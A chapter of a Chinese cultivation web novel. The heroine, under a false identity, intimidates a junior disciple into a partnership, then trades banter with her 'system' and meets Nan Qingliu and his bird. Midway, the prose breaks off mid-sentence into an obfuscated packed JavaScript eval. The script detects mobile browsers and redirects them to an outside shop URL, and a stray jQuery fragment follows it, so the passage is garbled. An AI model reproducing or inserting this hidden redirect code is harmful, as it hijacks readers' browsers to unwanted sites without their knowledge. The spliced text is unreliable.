看到面前的男子对自己十分忌惮,这副场景触动了夏紫菀脑海中某个熟悉的记忆,一下来了兴致。
她一脚踩在男子的影子上,弯下腰伸手挑起对方的下颚,懒洋洋地说道:“我有个提议。”
“什...什么?”巫风一脸不可置信。
“跟我组队,你接委托,我拿报酬。”夏紫菀从容不迫地捞起地上的男子,待他站定,还顺手拍了拍他肩上的灰。
“如何?”她再次对着巫风绽放了一个明媚灿烂的笑容。
冷汗持续在腰间往下落,巫风又一次感受到对方的来者不善。
“这...师姐莫要拿巫某开玩笑。”他仓促地笑着。
“开玩笑?在整个剑止峰内忧外患,明令禁止新晋弟子接委托的时刻,你出现在这,难道你就这点觉悟?”
夏紫菀发出嗤笑,伸出手,两片雪花飘落在掌心,玲珑剔透的冰锥从中长出,她立刻抽出冰锥对准巫风的脖颈,贴了上去。
冰冷的触感从上至下划过肌肤,这简单又存在感极强的刺激让他肉眼可见地抖了一抖。
“...你有什么目的?”巫风咬着牙,倔强地审视面前的女子。
“不不不...”夏紫菀故作玄虚地摇头,她收回冰锥,双手背靠,来回踱步:“我向来不逼迫他人,同门更不必说。”
“长老给了我个任务,需要助力...我只要你,将功赎罪。”她双手拍掌,勾起的眉眼饶有兴致地盯着面前的男人。
“刚才的提议,你考虑的怎么样啦?”夏紫菀心情极好地盯着伸开的十指,比划双手。
短暂的沉默过去,巫风放弃似地点头。
"...好。"
说完,他整个人就像做了什么不可挽回的决定一般,沉浸在暗淡无光的思绪当中。
夏紫菀双眼瞪大,她捂着嘴,企图遮住要溢出的笑意。
原本只是想试试,没想到成功了!
趁巫风还沉浸在消极的思绪中,她连忙转过身,奔涌的喜悦感都要化作不知如何摆放的激动双手。
更重要的是,她完成了那个!
她亲自封号的自推名场面TOP10之一的经典情景——竹之诺的反杀!!
跟上次的模仿相比,这次因为身份特质的影响,居然丝毫不露怯。
至于理由,那都是她编的。
想到这,夏紫菀的嘴角简直要咧到耳根,顾不上谈正事,都要沉浸在对自推光荣事迹的回忆当中:
当曼妙的紫发女子出现在她的脑海时,夏紫菀都忍不住想要歌颂她的伟大存在。
只是以上这些通通都会被属于她自己的理智塞回冷脸淡定转身的那一刻。
“咳,很高兴你选择诚心,这位师弟。”夏紫菀平静地抚平因为激动蹂躏得不成样子的衣摆。
巫风抬起头,斟酌再三地说道:“既然要求我配合,好歹告知我,你是什么人吧?”
“当然。”她略微记得南青柳行过的拱手礼,为了维持身份,只好照做:“剑止峰内阁弟子,灵陇。”
“剑止峰新晋弟子,巫风。”他拘谨地移开视线。
“那就先这样....对了。”夏紫菀走到门口处,又转过身。
她抬起指尖,几颗尖锐的冰晶凭空凝结,悬浮在巫风身旁。
“把你的随身玉令给我。”
见对方没有动静,她又微笑着补了一句:“就当你将功赎罪的证据,下次见面,我会还你。”
巫风当然不想给,奈不过眼前的女子再次从手心里射出一枚冰晶,击穿了地上那缕发丝,他才连忙从腰间佩囊里掏出通体发白的玉片,抛了过去。
夏紫菀炫耀战利品般在脸旁晃了晃显眼的玉片,继而门扬长而去:“合作愉快。”
窄小的房间内,只剩下巫风一人,他猛地一拳砸在墙上,墙面的金光震起轻微的涟漪。
刚走出罗纬殿,夏紫菀低头察看举起的掌心,虚握着,并没有将心底的那股沉闷散开。
尽管成功还原了自推的经典场面,但是,似乎下手有点重。
“好像有点在发泄的样子...”
她略带懊悔地看着空荡的手心。
“不过是他自找的。”
罗纬殿外的人影稀疏,人人忙着自己的事,来往的细碎脚步声轻松地融入空气里的虫鸣鸟叫,形成和谐的背景音。
跟来时的模样不同,夏紫菀昂首挺胸地走在回去的路上,心情颇好。
轻车熟路地找到走回住处的路,踏进房屋门栏的那一刻,便放了心调出弹窗,潇洒地回到属于她的地盘。
刚具现身形,夏紫菀就迫不及待地要找系统来炫耀自己的事迹:“系统,我...”
啪!迎接她的是一个巨大的电子爆炸声,还附带撒着金粉般的音效。
“恭喜适应者完成任务!”一个兴奋高昂的机械男声响起。
与之相对的是系统平淡甚至冷漠的人声:“我知道。”
这惊喜不浅,吓得夏紫菀足足后撤了两步:
“你,吃错药了?还是中病毒了?”
沉默如系统,等了几秒那电子烟花彻底放完之后才开口:
“考虑你我合作关系的重要性,我决定稍微调整自身行为。”
“所以你这段时间一直没出现就是因为这个?像一个没人理解的寡夫天天守在家...”
还没说完她就猛地捂住嘴巴,身上传来明显的视线感。
心虚地看着不远处的机械球,生怕跟初见时的一样两个激光直接扫过来。
虽然系统不能伤害她,倒也怪吓人。
所幸无事发生,倒是罕见地听到一声叹息:
“注意言辞。”
“那个我...今天遇到点事情,有点反应过度。”夏紫菀解释着。
“你是指你被剑止峰的人监视的事情?”银白的机械球驱动双环向这边移动。
“很难理解吧?虽然我一开始就做好了被针对的准备。”她无奈地耸了耸肩。
“嗯,剑止峰变故在你原本假设的决策风险基础上加剧了现实生存的实际风险,这让原本作为奠基石的剑止峰场景成为你的生存危机之一,严重阻碍忆晶回收的任务。”系统平静地说道。
夏紫菀支楞起半截身子,看了一眼不远处的系统。
是这样吗?她还想说自己并不讨厌那些人来着。
机械球悬浮在半空中:“鉴于忆晶回收的主线任务遭遇停滞和风险加剧,我可以申请特别介入。”
听到系统的话,她连忙坐起:“等等,你不是说不能随便干涉世界吗?”
“遇到进度停滞,适应者不能解决问题的情况可以申请特别介入,只是有次数限制。”
“限制?”夏紫菀挑起一边眉,慵懒地往沙发一侧靠下。
“现在的问题不是这个,而是...”
琥珀色的眼眸凝视片刻,嘴角缓缓勾起。
“我早就想好该怎么做了。”
反正不能借助太多系统的力量。她又在心里默默补上一句。
“对了,既然把话说开,你可不能再玩消失了。”
“毕竟本姑娘这次要搞点大的。”说完,夏紫菀就跃跃欲试地挥起右拳。
“你是指突然发现假身份的灵力可以调用所以开始狐假虎威?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17824843|207382||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”系统毫不客气地评价。
“哼,你懂什么?那叫急中生智,要不是我脑子转的快,事情也没这么快有进展。”她从腰间摸出那块收缴来的玉牌,满意地对着屋内的光线来回旋转。
兴致一过,她又重新收起笑容。
“所以这件事真的跟你没关系?”
“可以确认的是,你的一切指标保持在正常水平,权限的使用也没有任何问题。”机械双环无声旋转。
“是那个玉的问题吗?”她追问道。
系统没有回答。
“...是么,那你这个半吊子系统这次还真干了件好事。”夏紫菀仰躺在沙发上,伸手比对着指尖缝隙洒下的光芒。
“......”
“建议,在确认真相之前,不要过度使用灵力。”沉稳的人声做出机械式地回应。
夏紫菀无语地瞥了它一眼。
突然,面前跳出一个空白提示框,伴有警报声传出。
“这么快就到晚上了?”她茫然地关掉提示框。
那提示框又不甘心地跳出来,伴随着减弱的警报声。
没再说什么,她连忙调出分身的窗口,凌空一点,便回到了在剑止峰的住处。
不得不说,经一折腾,她的心情达到前所未有的低点。
如果没猜错的话,应该是剑止峰的南青柳来找她。
也就是那个,真正监视她的人。
想到这,她就有些控制不住按下的眉头,咬紧的牙关。
“提示,目标就在门外。”系统的话打断了她的思绪。
没再犹豫,夏紫菀猛地推开门,屋外的光线明晃晃地照视线,还有一团飞速接近并扩大的白色。
下一秒,她就被扑面而来的白色绒毛打得措手不及,撞得她鼻梁生疼。
“啊!”夏紫菀忍不住双手捂住脸庞蹲下,难以言喻的生理性酸痛迅速蔓延开。
“啾啾——”欢快的鸟雀叫声萦绕在耳边。
“文殊!你在干什么!”男子的声音从未那般急切。
再然后,她就已经被一只结实有力的手拉回屋里的椅子上涂药。
“嘶...没事没事,我真的没事了。”夏紫菀侧脸躲开伸来的青色膏药。
比起先前被撞的酸痛,这个膏药的刺激劲才是要了她的命。
“文殊虽小,却不是一般鸟雀,这番擦碰还得认真对待。”南青柳收回伸出的手,却没有放下手中膏药的意思。
夏紫菀连忙举着双手挡在面前:“真的,足够了。”
“啾啾!”团在她腿上的文殊小鸟仰头叫了两声。
“还吵,都是你害的!!让我揉揉我才原谅你!”夏紫菀佯装怒气,两只手使劲揉着白雀身上的绒毛。
见状,一旁的南青柳放下手中的药膏,叹了口气:“抱歉,此番前来是有要事,长老有命,这几日我将下山处理事务,暂时不能维持课业辅导一职,这段时间我会将文殊留下,它虽不懂课业,但剑止峰内大小建筑都认得,如果需要,它也可以传递书信。”
“在告诉它之后,就撒了欢似地寻到你这,我也便追了过来。”
听到这,正在抚摸白雀的手僵在原地,夏紫菀不可思议地看着手里的生物。
所以这段时间是这只鸟监视她?
不一会儿,她缓缓抬头:“所以这段时间...我就照常适应剑止峰的生活?”
目光交接,南青柳的眼神平和且沉静:“身为新晋弟子,应当全力准备之后的入门文试。”
“咳,这是自然。”夏紫菀一手挡在面前,嘴角偷偷上扬。
抱歉?这可再好不过了!